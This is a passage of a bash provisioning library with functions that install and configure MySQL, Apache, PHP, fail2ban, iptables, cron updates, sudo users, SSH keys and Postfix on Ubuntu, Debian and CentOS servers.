[ ! -n \"$USER\" ] || [ ! -n \"$USERPASS\" ]; then\n\t\techo \"MySQL Username, Username Password and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n\t# Grants privileges for non-root MySQL user on user-defined database.\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tDB=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$USER\" ] || [ ! -n \"$DB\" ]; then\n\t\techo \"MySQL Username, Database and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n}\n\nfunction centos7_mysql_setpass {\n\t# Sets root password for MariaDB\n\n\tDBPASS=\"$1\"\n\tif [ ! -n \"$DBPASS\"]; then\n\t\techo \"No Database Password Set\"\n\t\treturn 1;\n\tfi\n\n\techo \"SET PASSWORD FOR ''root''@''localhost'' = PASSWORD(''$1'');\" | mysql -u root\n}\n\nfunction ubuntu1604_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction debian8_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction centos7_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tyum install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$1\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tyum remove -y expect\n}\n\n# Apache\n########\n\nfunction ubuntu1604_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction debian8_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction ubuntu1604_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction debian8_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction ubuntu1604_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction debian8_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction centos7_install_apache {\n\tyum install httpd -y\n\tsystemctl enable httpd\n}\n\nfunction centos7_apache_create_virtualhost {\n\t# Creates httpd VirtualHost for user-defined domain.\t\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n\tmkdir -p /var/www/$1/{public_html,logs}\n\t# Creates VirtualHost file\n\ttouch /etc/httpd/conf.d/vhost.conf\n\techo \"NameVirtualHost *:80\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAdmin webmaster@$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAlias www.$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\t# Creates temporary index.html file with the FQDN\n\techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n\t# Enables httpd to start on boot and restarts httpd.\n\tsystemctl enable httpd\n\tsystemctl restart httpd\n}\n\nfunction centos7_apache_tune {\n\t# Disables KeepAlive and tunes variables for prefork module.\n\n\techo \"KeepAlive Off\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n\techo \" StartServers 4\" >> /etc/httpd/conf/httpd.conf\n\techo \" MinSpareServers 20\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxSpareServers 40\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxClients 200\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxRequestsPerChild 4500\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n}\n\nfunction ubuntu1604_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\nfunction debian8_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n# PHP\n#####\n\nfunction ubuntu1604_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction debian8_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction centos7_install_php {\n\tyum install php php-pear php-mysql -y\n}\n\nfunction ubuntu1604_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction debian8_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction centos7_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php.ini\n\tmkdir /var/log/php\n\tchown apache /var/log/php\n\tsystemctl reload httpd\n}\n\n# Fail2Ban\n##########\n\nfunction ubuntu1604_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction debian8_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction centos7_install_fail2ban {\n\tyum install fail2ban -y\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\n# iptables\n##########\n\nfunction ubuntu1604_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction debian8_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction centos7_iptables_lamp {\n\t# Stops and Disables firewalld.\n\t# Installs iptables-services, configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Saves iptables/ip6tables rules, enables iptables-services to start on boot and starts iptables-services.\n\n\tsystemctl stop firewalld.service && systemctl disable firewalld.service\n\tyum install -y iptables-services\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\tservice iptables save\n\tservice ip6tables save\n\tsystemctl enable iptables && systemctl enable ip6tables\n\tsystemctl start iptables && systemctl start ip6tables\n}\n\n# Crons\n#######\n\nfunction ubuntu1604_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction debian8_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction centos7_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * yum update -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\n\n#########################\n# Deprecated Ubuntu 12.04\n#########################\n\nfunction system_update {\n apt-get update\n apt-get -y install aptitude\n aptitude -y full-upgrade\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction system_set_hostname {\n # $1 - The hostname to define\n HOSTNAME=\"$1\"\n \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n echo \"$HOSTNAME\" > /etc/hostname\n hostname -F /etc/hostname\n}\n\nfunction system_add_host_entry {\n # $1 - The IP address to set a hosts entry for\n # $2 - The FQDN to set to the IP\n IPADDR=\"$1\"\n FQDN=\"$2\"\n\n if [ -z \"$IPADDR\" -o -z \"$FQDN\" ]; then\n echo \"IP address and/or FQDN Undefined\"\n return 1;\n fi\n \n echo $IPADDR $FQDN >> /etc/hosts\n}\n\n\n###########################################################\n# Users and Authentication\n###########################################################\n\nfunction user_add_sudo {\n # Installs sudo if needed and creates a user in the sudo group.\n #\n # $1 - Required - username\n # $2 - Required - password\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n aptitude -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction user_add_pubkey {\n # Adds the users public key to authorized_keys for the specified user. Make sure you wrap your input variables in double quotes, or the key may not load properly.\n #\n #\n # $1 - Required - username\n # $2 - Required - public key\n USERNAME=\"$1\"\n USERPUBKEY=\"$2\"\n \n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPUBKEY\" ]; then\n echo \"Must provide a username and the location of a pubkey\"\n return 1;\n fi\n \n if [ \"$USERNAME\" == \"root\" ]; then\n mkdir /root/.ssh\n echo \"$USERPUBKEY\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n \n mkdir -p /home/$USERNAME/.ssh\n echo \"$USERPUBKEY\" >> /home/$USERNAME/.ssh/authorized_keys\n chown -R \"$USERNAME\":\"$USERNAME\" /home/$USERNAME/.ssh\n}\n\nfunction ssh_disable_root {\n # Disables root SSH access.\n sed -i ''s/PermitRootLogin yes/PermitRootLogin no/'' /etc/ssh/sshd_config\n touch /tmp/restart-ssh\n \n}\n\n###########################################################\n# Postfix\n###########################################################\n\nfunction postfix_install_loopback_only {\n # Installs postfix and configure to listen only on the local interface. Also\n # allows for local mail delivery\n\n echo \"postfix postfix/main_mailer_type select Internet Site\" | debconf-set-selections\n echo \"postfix postfix/mailname string localhost\" | debconf-set-selections\n echo \"postfix postfix/destinations string localhost.localdomain, localhost\" | debconf-set-selections\n aptitude -y install postfix\n /usr/sbin/postconf -e \"inet_interfaces = loopback-only\"\n #/usr/sbin/postconf -e \"local_transport = error:local delivery is disabled\"\n\n touch /tmp/restart-postfix\n}\n\n\n###########################################################\n# Apache\n###########################################################\n\nfunction apache_install {\n # installs the system default apache2 MPM\n aptitude -y install apache2\n\n a2dissite default # disable the interfering default virtualhost\n\n # clean up, or add the NameVirtualHost line to ports.conf\n sed -i -e ''s/^NameVirtualHost \\*$/NameVirtualHost *:80/'' /etc/apache2/ports.conf\n if ! grep -q NameVirtualHost /etc/apache2/ports.conf; then\n echo ''NameVirtualHost *:80'' > /etc/apache2/ports.conf.tmp\n cat /etc/apache2/ports.conf >> /etc/apache2/ports.conf.tmp\n mv -f /etc/apache2/ports.conf.tmp /etc/apache2/ports.conf\n fi\n}\n\nfunction apache_tune {\n # Tunes Apache''s memory to use the percentage of RAM you specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate towards Apache\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n aptitude -y install apache2-mpm-prefork\n PERPROCMEM=10 # the amount of memory in MB each apache process is likely to utilize\n MEM=$(grep MemTotal /proc/meminfo | awk ''{ print int($2/1024) }'') # how much memory in MB this system has\n MAXCLIENTS=$((MEM*PERCENT/100/PERPROCMEM)) # calculate MaxClients\n MAXCLIENTS=${MAXCLIENTS/.*} # cast to an integer\n sed -i -e \"s/\\(^[ \\t]*MaxClients[ \\t]*\\)[0-9]*/\\1$MAXCLIENTS/\" /etc/apache2/apache2.conf\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost {\n # Configures a VirtualHost\n\n # $1 - required - the hostname of the virtualhost to create \n\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e \"/etc/apache2/sites-available/$1\" ]; then\n echo /etc/apache2/sites-available/$1 already exists\n return;\n fi\n\n mkdir -p /srv/www/$1/public_html /srv/www/$1/logs\n\n echo \"\" > /etc/apache2/sites-available/$1\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1\n echo \" DocumentRoot /srv/www/$1/public_html/\" >> /etc/apache2/sites-available/$1\n echo \" ErrorLog /srv/www/$1/logs/error.log\" >> /etc/apache2/sites-available/$1\n echo \" CustomLog /srv/www/$1/logs/access.log combined\" >> /etc/apache2/sites-available/$1\n echo \"\" >> /etc/apache2/sites-available/$1\n\n a2ensite $1\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost_from_rdns {\n # Configures a VirtualHost using the rdns of the first IP as the ServerName\n\n apache_virtualhost $(get_rdns_primary_ip)\n}\n\n\nfunction apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n###########################################################\n# mysql-server\n###########################################################\n\nfunction mysql_install {\n # $1 - the mysql root password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_install() requires the root pass as its first argument\"\n return 1;\n fi\n\n echo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n echo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n apt-get -y install mysql-server mysql-client\n\n echo \"Sleeping while MySQL starts up for the first time...\"\n sleep 5\n}\n\nfunction mysql_tune {\n # Tunes MySQL''s memory usage to utilize the percentage of memory you specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate towards MySQL\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n sed -i -e ''s/^#skip-innodb/skip-innodb/'' /etc/mysql/my.cnf # disable innodb - saves about 100M\n\n MEM=$(awk ''/MemTotal/ {print int($2/1024)}'' /proc/meminfo) # how much memory in MB this system has\n MYMEM=$((MEM*PERCENT/100)) # how much memory we''d like to tune mysql with\n MYMEMCHUNKS=$((MYMEM/4)) # how many 4MB chunks we have to play with\n\n # mysql config options we want to set to the percentages in the second list, respectively\n OPTLIST=(key_buffer sort_buffer_size read_buffer_size read_rnd_buffer_size myisam_sort_buffer_size query_cache_size)\n DISTLIST=(75 1 1 1 5 15)\n\n for opt in ${OPTLIST[@]}; do\n sed -i -e \"/\\[mysqld\\]/,/\\[.*\\]/s/^$opt/#$opt/\" /etc/mysql/my.cnf\n done\n\n for i in ${!OPTLIST[*]}; do\n val=$(echo | awk \"{print int((${DISTLIST[$i]} * $MYMEMCHUNKS/100))*4}\")\n if [ $val -lt 4 ]\n then val=4\n fi\n config=\"${config}\\n${OPTLIST[$i]} = ${val}M\"\n done\n\n sed -i -e \"s/\\(\\[mysqld\\]\\)/\\1\\n$config\\n/\" /etc/mysql/my.cnf\n\n touch /tmp/restart-mysql\n}\n\nfunction mysql_create_database {\n # $1 - the mysql root password\n # $2 - the db name to create\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_database() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_database() requires the name of the database as the second argument\"\n return 1;\n fi\n\n echo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n # $1 - the mysql root password\n # $2 - the user to create\n # $3 - their password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a password as the third argument\"\n return 1;\n fi\n\n echo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" 